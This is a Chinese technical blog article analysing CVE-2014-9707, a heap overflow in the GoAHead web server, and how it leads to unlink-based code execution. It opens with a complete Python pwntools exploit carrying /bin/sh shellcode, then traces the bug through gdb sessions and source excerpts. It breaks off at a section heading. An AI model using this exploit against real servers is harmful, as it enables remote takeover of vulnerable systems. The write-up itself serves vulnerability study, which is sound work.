【技术分享】从CVE-2014-9707看unlink漏洞利用

阅读量243867

|评论1

|

发布时间 : 2016-09-20 16:26:01

http://p6.qhimg.com/t010e08ae42deb86ebe.jpg

作者:k0shl

稿费:700RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

最近一直在看泉哥的 《漏洞战争:软件漏洞分析精要》,我接触二进制的时间并不长,但是觉得这本书特别好,最主要的原因是这本书中的漏洞涵盖了绝大多数常见的漏洞类型,而且,每个漏洞都能够还原出一个基本的漏洞模型。

说起漏洞模型,我在前不久碰到一个非常有趣的漏洞,也就是我写这篇文章的主角CVE-2014-9707,一个Linux下服务端软件GoAHead的堆溢出漏洞,在分析完这个漏洞后我发现,这个漏洞可以还原出一个非常有趣而且常见的基本漏洞模型,对于我这样的新人学习Linux下堆溢出漏洞利用有很大的帮助,因此我总结了整个过程与大家分享,最后要感谢fneig、explorer师傅的指导!


漏洞分析

首先我贴出这个漏洞的PoC

```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
def hex2url(i):
    array = format(i, 'X')
    if len(array) % 2 != 0:
        array = '0' + array
    ret = ''.join('%' + array[i-2:i] for i in xrange(len(array), 0, -2))
    return ret
def fake(chunk_addr):
    print(hex(chunk_addr))
    chunk = int(hex(chunk_addr)[0:8], 16) + 1
    print(chunk)
    fake_fd = hex(chunk)
    fake_chunk_addr = int(fake_fd + '2f', 16)
    fake_bk = fake_chunk_addr - 8
    return fake_chunk_addr, int(fake_fd, 16), fake_bk
def make_fake_chunk(chunk_addr):
    chunk = (chunk_addr & ~0xff) + 0x12f
    fd = int(format(chunk, '08X')[:6], 16)
    bk = chunk
    return fd, bk, chunk
pro = remote('localhost', 80)
chunk = 0x8057840
fd, bk, fake_chunk = make_fake_chunk(chunk)
print(hex(fd), hex(bk), hex(fake_chunk))
shellcode = '%eb%16%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90'
shellcode += "%eb%19%5e%31%d2%89%56%07%52%56%89%e1%89%f3%31%c0%b0%0b%cd"
shellcode += "%80%31%db%31%c0%40%cd%80%e8%e2%ff%ff%ff%2f%62%69"
shellcode += "%6e%2f%73%68"
shellcode_addr = fake_chunk + 4 * 4
offset = 0
exp = 'GET /'
exp += hex2url(fd)                 # fd
exp += hex2url(bk)                 # bk
exp += hex2url(0xbffff2ac - 20)    # fd_next, stack
exp += hex2url(shellcode_addr)     # bk_next
pad = fake_chunk - chunk - 16
print('pad:{0}'.format(pad))
# fake chunk
exp += 'A' * (fake_chunk - chunk - 16)
exp += hex2url(0x01020304)   # prev_size
exp += hex2url(0x01020304)   # size
exp += hex2url(chunk - 8)    # fd
exp += hex2url(chunk - 8)    # bk
exp += shellcode
print('--{}'.format(1024 - (fake_chunk - chunk) - 16 - len(shellcode)/3))
exp += '/./'
exp += hex2url(2) * 50
exp += 'A' * (1024 - (fake_chunk - chunk) - 16 - len(shellcode) / 3 - 50)
exp += '/.ssss'
#exp += 'A'*1024
exp += ' HTTP/1.0rnrn'
print(len(exp))
print(exp)
pro.send(exp)
```

这是一个非常有意思的堆溢出漏洞,Goahead是一个知名的Web Server服务器,在处理传入数据包时,对数据包分别进行了一些处理,在处理之后与之前的长度,没有进行有效的对称,从而导致将后续数据包考入之前申请的缓冲区时,如果后续数据包长度过大,会使之前的缓冲区发生溢出。

之前缓冲区是malloc申请而成,溢出后,可以通过覆盖某些关键指针和变量,来在堆释放时触发unlink,从而导致任意代码执行,下面对此漏洞进行详细分析。

首先运行Goahead,然后通过gdb attach pid附加进程,运行exp,发现程序中断,命中断点。

```
gdb-peda$ c
Continuing.
Program received signal SIGABRT, Aborted.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0x545 
ECX: 0x545 
EDX: 0x6 
ESI: 0x45 ('E')
EDI: 0xb7eec000 --> 0x1a5da8 
EBP: 0xbffff178 --> 0x805cb28 --> 0x0 
ESP: 0xbfffeeb4 --> 0xbffff178 --> 0x805cb28 --> 0x0 
EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>:     pop    ebp)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7fdebdc <__kernel_vsyscall+12>:        nop
   0xb7fdebdd <__kernel_vsyscall+13>:        nop
   0xb7fdebde <__kernel_vsyscall+14>:        int    0x80
=> 0xb7fdebe0 <__kernel_vsyscall+16>:         pop    ebp
   0xb7fdebe1 <__kernel_vsyscall+17>:        pop    edx
   0xb7fdebe2 <__kernel_vsyscall+18>:        pop    ecx
   0xb7fdebe3 <__kernel_vsyscall+19>:        ret    
   0xb7fdebe4:       int3
[------------------------------------stack-------------------------------------]
0000| 0xbfffeeb4 --> 0xbffff178 --> 0x805cb28 --> 0x0 
0004| 0xbfffeeb8 --> 0x6 
0008| 0xbfffeebc --> 0x545 
0012| 0xbfffeec0 --> 0xb7d74307 (<__GI_raise+71>:     xchg   ebx,edi)
0016| 0xbfffeec4 --> 0xb7eec000 --> 0x1a5da8 
0020| 0xbfffeec8 --> 0xbfffef64 --> 0x77 ('w')
0024| 0xbfffeecc --> 0xb7d759c3 (<__GI_abort+323>:  mov    edx,DWORD PTR gs:0x8)
0028| 0xbfffeed0 --> 0x6 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGABRT
```

通过bt命令可以回溯调用。

```
gdb-peda$ bt
#0  0xb7fdebe0 in __kernel_vsyscall ()
#1  0xb7d74307 in __GI_raise (sig=sig@entry=0x6)
    at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2  0xb7d759c3 in __GI_abort () at abort.c:89
#3  0xb7db26f8 in __libc_message (do_abort=do_abort@entry=0x1, 
    fmt=fmt@entry=0xb7ea865c "*** Error in `%s': %s: 0x%s ***n")
    at ../sysdeps/posix/libc_fatal.c:175
#4  0xb7db876a in malloc_printerr (action=<optimized out>, 
    str=0xb7ea4138 "corrupted double-linked list", ptr=0x805cb28)
    at malloc.c:4996
#5  0xb7db95fb in _int_free (av=0xb7eec420 <main_arena>, p=<optimized out>, 
    have_lock=0x0) at malloc.c:3996
#6  0xb7dbc0c3 in __GI___libc_free (mem=<optimized out>) at malloc.c:2946
#7  0xb7fb661d in websNormalizeUriPath (
    pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3238
#8  0xb7fb8ab3 in parseFirstLine (wp=<optimized out>) at src/http.c:957
#9  parseIncoming (wp=<optimized out>) at src/http.c:872
#10 websPump (wp=0x804f560) at src/http.c:826
#11 0xb7fb906d in readEvent (wp=0x804f560) at src/http.c:799
#12 socketEvent (sid=0x2, mask=0x2, wptr=0x804f560) at src/http.c:737
#13 0xb7fc6322 in socketDoEvent (sp=0x804f4b0) at src/socket.c:650
#14 socketProcess () at src/socket.c:624
#15 0xb7fb35b5 in websServiceEvents (finished=0x804ab44 <finished>)
    at src/http.c:1293
#16 0x08048c31 in main (argc=0x5, argv=0xbffff4b4, envp=0xbffff4cc)
    at src/goahead.c:146
#17 0xb7d5fa63 in __libc_start_main (main=0x8048a70 <main>, argc=0x5, 
    argv=0xbffff4b4, init=0x80491e0 <__libc_csu_init>, 
    fini=0x8049250 <__libc_csu_fini>, rtld_fini=0xb7fedc90 <_dl_fini>, 
    stack_end=0xbffff4ac) at libc-start.c:287
#18 0x08048f67 in _start ()
```

查看一下现在服务器上的情况。

```
/./mean to strcat cannot heap overflow
goahead: 2: GET /%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%04%03%02%01%04%03%02%01%38%78%05%08%38%78%05%08%eb%16%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%eb%19%5e%31%d2%89%56%07%52%56%89%e1%89%f3%31%c0%b0%0b%cd%80%31%db%31%c0%40%cd%80%e8%e2%ff%ff%ff%2f%62%69%6e%2f%73%68/./%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02%02AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.0
*** Error in `goahead': free(): corrupted unsorted chunks: 0x080622c0 ***
```

可以看到,此时已经出发了corrupted unsorted chunks,这个是glibc在新版本后引入用于对抗unlink时指针欺骗的,但是不要紧,这个在利用中是可以绕过的,在分析时我们不关心。

但是由此可见,这时已经触发了unlink操作,接下来,根据bt回溯情况,来分析整个漏洞的成因。首先从main函数来跟踪一下调用情况,首先是在goahead.c中。

```
    while (!finished || !*finished) {
        if (socketSelect(-1, delay)) {
            socketProcess();  open a socket process
        }
```

首先在main函数中,会启用socketProcess,也就是启用Socket进程,接下来进入http.c中。

```
PUBLIC void socketProcess()
{
    WebsSocket    *sp;
    int         sid;
    for (sid = 0; sid < socketMax; sid++) {
        if ((sp = socketList[sid]) != NULL) {
            if (sp->currentEvents & sp->handlerMask) {
                socketDoEvent(sp);   if sid then do event
            }
        }
    }
}
```

在进程中,会调用一个socket事件,接着往里跟踪。

```
    if (sp->handler && (sp->handlerMask & sp->currentEvents)) {
        (sp->handler)(sid, sp->handlerMask & sp->currentEvents, sp->handler_data);
        /*
            Make sure socket pointer is still valid, then reset the currentEvents.
         */ 
        if (socketList && sid < socketMax && socketList[sid] == sp) {
            sp->currentEvents = 0;  create a socket handler
        }
```

这里会对sid进程句柄进行一些简单的判断,然后就会进入关键函数调用了。

```
static bool parseIncoming(Webs *wp)
{
    WebsBuf     *rxbuf;
    char        *end, c;
    rxbuf = &wp->rxbuf;
    while (*rxbuf->servp == 'r' || *rxbuf->servp == 'n') {
        bufGetc(rxbuf);
    }
    if ((end = strstr((char*) wp->rxbuf.servp, "rnrn")) == 0) {
        if (bufLen(&wp->rxbuf) >= BIT_GOAHEAD_LIMIT_HEADER) {
            websError(wp, HTTP_CODE_REQUEST_TOO_LARGE | WEBS_CLOSE, "Header too large");
            return 1;
        }
        return 0;
    }    
    trace(3 | WEBS_RAW_MSG, "n<<< Requestn");
    c = *end;
    *end = '';
    trace(3 | WEBS_RAW_MSG, "%sn", wp->rxbuf.servp);
    *end = c;
    /*
        Parse the first line of the Http header
     */
    parseFirstLine(wp);
```

在函数中,会调用parseFirstLine函数,这个函数有一个参数,是一个结构体Webs。

```
typedef struct Webs {
    WebsBuf         rxbuf;              /**< Raw receive buffer */
    WebsBuf         input;              /**< Receive buffer after de-chunking */
char            *uploadVar;         /**< Current upload form variable name */
……省略一大部分定义
#endif
    void            *ssl;               /**< SSL context */
} Webs;
```

这个Webs结构体其实包含了整个Web Server服务端需要的变量,那么继续往里跟踪。

```
static void parseFirstLine(Webs *wp)
{
    char    *op, *protoVer, *url, *host, *query, *path, *port, *ext, *buf;
    int     testPort;
   ^^^^
    if (websGetLogLevel() == 2) {    host = path = port = query = ext = NULL;
    if (websUrlParse(url, &buf, NULL, &host, &port, &path, &ext, NULL, &query) < 0) {
        error("Cannot parse URL: %s", url);
        websError(wp, HTTP_CODE_BAD_REQUEST | WEBS_CLOSE | WEBS_NOLOG, "Bad URL");
        return;
    }
    if ((wp->path = websNormalizeUriPath(path)) == 0) {
        error("Cannot normalize URL: %s", url);
        websError(wp, HTTP_CODE_BAD_REQUEST | WEBS_CLOSE | WEBS_NOLOG, "Bad URL");
        wfree(buf);
        return;
    }
```

根据我们上面的回溯部分,可以看到函数中websNormalizeUriPath函数是漏洞触发的主要函数,它的参数path是数据包中我们构造的畸形字符串,而它又是从哪里来的呢?

注意一下上面的websUrlParse函数,中间会对path进行处理,下面动态调试。在websUrlParse下断点。

```
gdb-peda$ b websUrlParse
Breakpoint 1 at 0xb7fb5fd0: file src/http.c, line 3027.
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0xbffff2c0 --> 0xbffff320 --> 0x2 
EBX: 0xb7fd8480 --> 0x30328 
ECX: 0xb7eec420 --> 0x0 
EDX: 0x0 
ESI: 0x805ddd3 ("HTTP/1.0")
EDI: 0xb7fd94ec --> 0x2 
EBP: 0x805d8ac ("/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>...)
ESP: 0xbffff25c --> 0xb7fb8a9c (<websPump+4572>:      add    esp,0x30)
EIP: 0xb7fb5fd0 (<websUrlParse>: push   ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7fb5fcd:        nop
   0xb7fb5fce:        nop
   0xb7fb5fcf:         nop
=> 0xb7fb5fd0 <websUrlParse>:     push   ebp
   0xb7fb5fd1 <websUrlParse+1>:         push   edi
   0xb7fb5fd2 <websUrlParse+2>:         push   esi
   0xb7fb5fd3 <websUrlParse+3>:         push   ebx
   0xb7fb5fd4 <websUrlParse+4>:         call   0xb7fae4a0 <__x86.get_pc_thunk.bx>
[------------------------------------stack-------------------------------------]
0000| 0xbffff25c --> 0xb7fb8a9c (<websPump+4572>:  add    esp,0x30)
0004| 0xbffff260 --> 0x805d8ac ("/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>...)
0008| 0xbffff264 --> 0xbffff2c0 --> 0xbffff320 --> 0x2 
0012| 0xbffff268 --> 0x0 
0016| 0xbffff26c --> 0xbffff2ac --> 0x0 
0020| 0xbffff270 --> 0xbffff2b8 --> 0x0 
0024| 0xbffff274 --> 0xbffff2b4 --> 0x0 
0028| 0xbffff278 --> 0xbffff2bc --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, websUrlParse (
    url=0x805d8ac "/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>..., pbuf=0xbffff2c0, pprotocol=0x0, phost=0xbffff2ac, 
    pport=0xbffff2b8, ppath=0xbffff2b4, pext=0xbffff2bc, preference=0x0, 
    pquery=0xbffff2b0) at src/http.c:3027
3027         {
gdb-peda$ x/10x 0xbffff2b4
0xbffff2b4:        0x00000000     0x00000000     0x00000000     0xbffff320
0xbffff2c4:        0xb7fecc9f        0xb7fdbb00      0x00000000     0x00000001
0xbffff2d4:        0x00000001     0x00000000
```

可以看到,此时url已经传入了畸形字符串,函数中,会对这个字符串进行各种处理,把它们处理后交给其他输出变量。

注意bffff2b4处的变量。接下来直接执行到函数返回的位置。

```
gdb-peda$ b *0xb7fb61be
Breakpoint 2 at 0xb7fb61be: file src/http.c, line 3162.
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xb7fd8480 --> 0x30328 
ECX: 0xbffff2b0 --> 0xb7fc90f7 --> 0x74746800 ('')
EDX: 0x0 
ESI: 0x805ddd3 ("HTTP/1.0")
EDI: 0xb7fd94ec --> 0x2 
EBP: 0x805d8ac ("/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>...)
ESP: 0xbffff25c --> 0xb7fb8a9c (<websPump+4572>:      add    esp,0x30)
EIP: 0xb7fb61be (<websUrlParse+494>:          ret)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7fb61bb <websUrlParse+491>:   pop    esi
   0xb7fb61bc <websUrlParse+492>:   pop    edi
   0xb7fb61bd <websUrlParse+493>:   pop    ebp
=> 0xb7fb61be <websUrlParse+494>:    ret    
   0xb7fb61bf <websUrlParse+495>:    nop
   0xb7fb61c0 <websUrlParse+496>:   lea    eax,[ebp+0x7]
   0xb7fb61c3 <websUrlParse+499>:   mov    BYTE PTR [ebp+0x4],0x0
   0xb7fb61c7 <websUrlParse+503>:   mov    edx,DWORD PTR [esp+0xc]
[------------------------------------stack-------------------------------------]
0000| 0xbffff25c --> 0xb7fb8a9c (<websPump+4572>:  add    esp,0x30)
0004| 0xbffff260 --> 0x805d8ac ("/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>...)
0008| 0xbffff264 --> 0xbffff2c0 --> 0x805bcc0 --> 0x805792f --> 0x0 
0012| 0xbffff268 --> 0x0 
0016| 0xbffff26c --> 0xbffff2ac --> 0xb7fc94e1 ("localhost")
0020| 0xbffff270 --> 0xbffff2b8 --> 0x805c70e --> 0x0 
0024| 0xbffff274 --> 0xbffff2b4 --> 0x805bcc0 --> 0x805792f --> 0x0 
0028| 0xbffff278 --> 0xbffff2bc --> 0x805c1e4 --> 0x782e ('.x')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0xb7fb61be in websUrlParse (
    url=0x805d8ac "/%79%05%08%2F%79%05%08%98%F2%FF%BF%3F%79%05%08", 'A' <repeats 154 times>..., pbuf=0xbffff2c0, pprotocol=0x0, phost=0xbffff2ac, 
    pport=0xbffff2b8, ppath=0xbffff2b4, pext=0xbffff2bc, preference=0x0, 
    pquery=0xbffff2b0) at src/http.c:3162
3162         }
gdb-peda$ x/10x *0xbffff2b4
0x805bcc0:       0x0805792f      0x0805792f      0xbffff298         0x0805793f
0x805bcd0:      0x41414141     0x41414141     0x41414141     0x41414141
0x805bce0:      0x41414141     0x41414141
```

可以看到,此时已经覆盖上畸形变量了,bffff2b4存放的是path地址,接下来返回后,path会继续传入到漏洞函数中。

```
gdb-peda$ 
[-------------------------------------code-------------------------------------]
   0xb7fb8aa1 <websPump+4577>:      js     0xb7fb8cca <websPump+5130>
   0xb7fb8aa7 <websPump+4583>:      sub    esp,0xc
   0xb7fb8aaa <websPump+4586>:      push   DWORD PTR [esp+0x30]
=> 0xb7fb8aae <websPump+4590>:        call   0xb7fad160 <websNormalizeUriPath@plt>
   0xb7fb8ab3 <websPump+4595>:      mov    edi,DWORD PTR [esp+0xc0]
   0xb7fb8aba <websPump+4602>:      add    esp,0x10
   0xb7fb8abd <websPump+4605>:      test   eax,eax
   0xb7fb8abf <websPump+4607>:       mov    DWORD PTR [edi+0x16c],eax
Guessed arguments:
arg[0]: 0x805bcc0 --> 0x805792f --> 0x0 
[------------------------------------stack-------------------------------------]
0000| 0xbffff280 --> 0x805bcc0 --> 0x805792f --> 0x0 
0004| 0xbffff284 --> 0xb7fdb948 --> 0xb7fa8000 --> 0x464c457f 
0008| 0xbffff288 --> 0xb7fc03c5 (<websGetLogLevel+5>:      add    ecx,0x180bb)
0012| 0xbffff28c --> 0xb7fb8a40 (<websPump+4480>:  cmp    eax,0x2)
0016| 0xbffff290 --> 0xbffff2f0 --> 0xb7faa608 --> 0x675f5f00 ('')
0020| 0xbffff294 --> 0xb7eec450 --> 0x80618a8 --> 0x0 
0024| 0xbffff298 --> 0x10 
0028| 0xbffff29c --> 0x2008 
gdb-peda$ x/10x 0x0805bcc0
0x805bcc0:       0x0805792f      0x0805792f      0xbffff298         0x0805793f
0x805bcd0:      0x41414141     0x41414141     0x41414141     0x41414141
0x805bce0:      0x41414141     0x41414141
```

接下来,进入到漏洞函数开始分析漏洞的成因。首先根据源码,找到了一处strcpy函数。

```
    if ((dupPath = walloc(len + 2)) == 0) {
        return NULL;
    }
    strcpy(dupPath, pathArg);
```

这里会将畸形字符串考入dupPath中。

```
gdb-peda$ x/10x 0x0805bcc0
0x805bcc0:       0x0805792f      0x0805792f      0xbffff298         0x0805793f
0x805bcd0:      0x41414141     0x41414141     0x41414141     0x41414141
0x805bce0:      0x41414141     0x41414141
[-------------------------------------code-------------------------------------]
   0xb7fb6445 <websRewriteRequest+229>:       
    jmp    0xb7fb6432 <websRewriteRequest+210>
   0xb7fb6447:       mov    esi,esi
   0xb7fb6449:       lea    edi,[edi+eiz*1+0x0]
=> 0xb7fb6450 <websNormalizeUriPath>:      push   ebp
   0xb7fb6451 <websNormalizeUriPath+1>:         push   edi
   0xb7fb6452 <websNormalizeUriPath+2>:         push   esi
   0xb7fb6453 <websNormalizeUriPath+3>:         push   ebx
   0xb7fb6454 <websNormalizeUriPath+4>:         
    call   0xb7fae4a0 <__x86.get_pc_thunk.bx>
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 4, websNormalizeUriPath (
    pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3170
3170         {
gdb-peda$ x/10x 0x0805bcc0
0x805bcc0:       0x0805792f      0x0805792f      0xbffff298         0x0805793f
0x805bcd0:      0x41414141     0x41414141     0x41414141     0x41414141
0x805bce0:      0x41414141     0x41414141
gdb-peda$ 
    strcpy(dupPath, pathArg);
[-------------------------------------code-------------------------------------]
   0xb7fb64a8 <websNormalizeUriPath+88>:       push   esi
   0xb7fb64a9 <websNormalizeUriPath+89>:       mov    esi,DWORD PTR [esp+0x20]
   0xb7fb64ad <websNormalizeUriPath+93>:       push   esi
=> 0xb7fb64ae <websNormalizeUriPath+94>:        call   0xb7fad8c0 <strcpy@plt>
   0xb7fb64b3 <websNormalizeUriPath+99>:       lea    eax,[edi*4+0x4]
   0xb7fb64ba <websNormalizeUriPath+106>:    mov    DWORD PTR [esp],eax
   0xb7fb64bd <websNormalizeUriPath+109>:    call   0xb7fad9b0 <malloc@plt>
   0xb7fb64c2 <websNormalizeUriPath+114>:     add    esp,0x10
gdb-peda$ x/10x $esp
0xbffff230:        0x0805c720     0x0805bcc0      0x00000000     0x0805c1e6
0xbffff240:        0x0805d8ac     0xb7faa388      0xb7fb5fd9       0xb7fd8480
0xbffff250:        0x0805ddd3     0x0805c720
gdb-peda$ x/10x 0x0805bcc0
0x805bcc0:       0x0805792f      0x0805792f      0xbffff298         0x0805793f
0x805bcd0:      0x41414141     0x41414141     0x41414141     0x41414141
0x805bce0:      0x41414141     0x41414141
```

接下来会进入两处for循环,会对路径进行一些处理,比如将/./合并等等,在第二处for循环中,由于输入和输出长度变量没有对称,导致拷贝中可以构成一个超长字符串,下面动态来观察这一过程。

```
   for (mark = sp = dupPath; *sp; sp++) {
        if (*sp == '/') {
            *sp = '';
            while (sp[1] == '/') {
                sp++;
            }
            segments[nseg++] = mark;
            len += (int) (sp - mark);
            mark = sp + 1;
        }
    }
    segments[nseg++] = mark;
    len += (int) (sp - mark);
    for (j = i = 0; i < nseg; i++, j++) {
        sp = segments[i];
        if (sp[0] == '.') {
            if (sp[1] == '')  {
                if ((i+1) == nseg) {
                    segments[j] = "";
                } else {
                    j--;
                }
            } else if (sp[1] == '.' && sp[2] == '')  {
                if (i == 1 && *segments[0] == '') {
                    j = 0;
                } else if ((i+1) == nseg) {
                    if (--j >= 0) {
                        segments[j] = "";
                    }
                } else {
                    j = max(j - 2, -1);
                }
            }
        } else {
            segments[j] = segments[i];
        }
    }
```

上述代码就是我描述的过程,执行完处理后,看一下dp的长度。

```
Breakpoint 2, 0xb7fb65ac in websNormalizeUriPath (
    pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3227
3227             if ((path = walloc(len + nseg + 1)) != 0) {
gdb-peda$ x/10x $esp
0xbffff230:        0x0000040a     0x0805bcc0      0x00000000     0x0805c1e9
0xbffff240:        0x0805d8ac     0xb7faa388      0xb7fb5fd9       0x00000402
0xbffff250:        0x0805ddd6     0x0805c728
```

这里注意一下esp的值,返回中esp中存放的值是40a,也就是1034,就是缓冲区的长度,接下来到达一处非常关键的for循环。

```
    if ((path = walloc(len + nseg + 1)) != 0) {
        for (i = 0, dp = path; i < nseg; ) {
            strcpy(dp, segments[i]);
            len = (int) slen(segments[i]);
            dp += len;
            if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
                *dp++ = '/';
            }
        }
        *dp = '';
    }
```

这里会根据nseg执行strcpy操作,由于之前的问题,会导致拷贝超过dp本身的大小,也就是1034,来看一下到底拷贝了多少内容。

```
1:Breakpoint 5, websNormalizeUriPath (
    pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3232
3232                     if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x0 
2:Breakpoint 5, websNormalizeUriPath (
    pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3232
3232                     if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x3 
3:Breakpoint 5, websNormalizeUriPath (
    pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3232
3232                     if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x132 
4:Breakpoint 5, websNormalizeUriPath (
    pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3232
3232                     if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x3
6:Breakpoint 5, websNormalizeUriPath (
    pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3232
3232                     if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x2 
7:Breakpoint 5, websNormalizeUriPath (
    pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3232
3232                     if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x2c2 
8:Breakpoint 5, websNormalizeUriPath (
    pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3232
3232                     if (++i < nseg || (nseg == 1 && *segments[0] == '' && firstc == '/')) {
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x2c2 
Breakpoint 7, 0xb7fb6618 in websNormalizeUriPath (
    pathArg=0x805bcc0 "/y05b/y05b230362377277?y05b", 'A' <repeats 184 times>...) at src/http.c:3238
3238             wfree(dupPath);
3+132+3+2+2c2+2c2 = 6be = 1726
```

可以看到,一共拷贝了8次,总共拷贝了1726,在整个拷贝过程中,eax监视的是拷贝的长度,算一下总和,已经超过了1034,那么由此就会造成堆溢出。

接下来执行,发生堆溢出,到达漏洞位置。

```
gdb-peda$ c
Continuing.
Program received signal SIGABRT, Aborted.
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xef3 
ECX: 0xef3 
EDX: 0x6 
ESI: 0x45 ('E')
EDI: 0xb7eec000 --> 0x1a5da8 
EBP: 0xbffff178 --> 0x805cb30 --> 0x73 ('s')
ESP: 0xbfffeeb4 --> 0xbffff178 --> 0x805cb30 --> 0x73 ('s')
EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>:     pop    ebp)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb7fdebdc <__kernel_vsyscall+12>:        nop
   0xb7fdebdd <__kernel_vsyscall+13>:        nop
   0xb7fdebde <__kernel_vsyscall+14>:        int    0x80
=> 0xb7fdebe0 <__kernel_vsyscall+16>:         pop    ebp
   0xb7fdebe1 <__kernel_vsyscall+17>:        pop    edx
   0xb7fdebe2 <__kernel_vsyscall+18>:        pop    ecx
   0xb7fdebe3 <__kernel_vsyscall+19>:        ret    
   0xb7fdebe4:       int3
```

总结一下整个漏洞的形成过程,在goahead中,程序会开启监听socket进程,之后会有一个函数用于处理接收到的数据包。在收到url后,会对url进行进一步处理,在处理的过程中,由于对.的控制逻辑混乱,导致处理结束后的判断长度和之前的长度不等,从而可以导致超长串考入先前申请长度的缓冲区,引发堆溢出漏洞。


从漏洞分析到漏洞模型

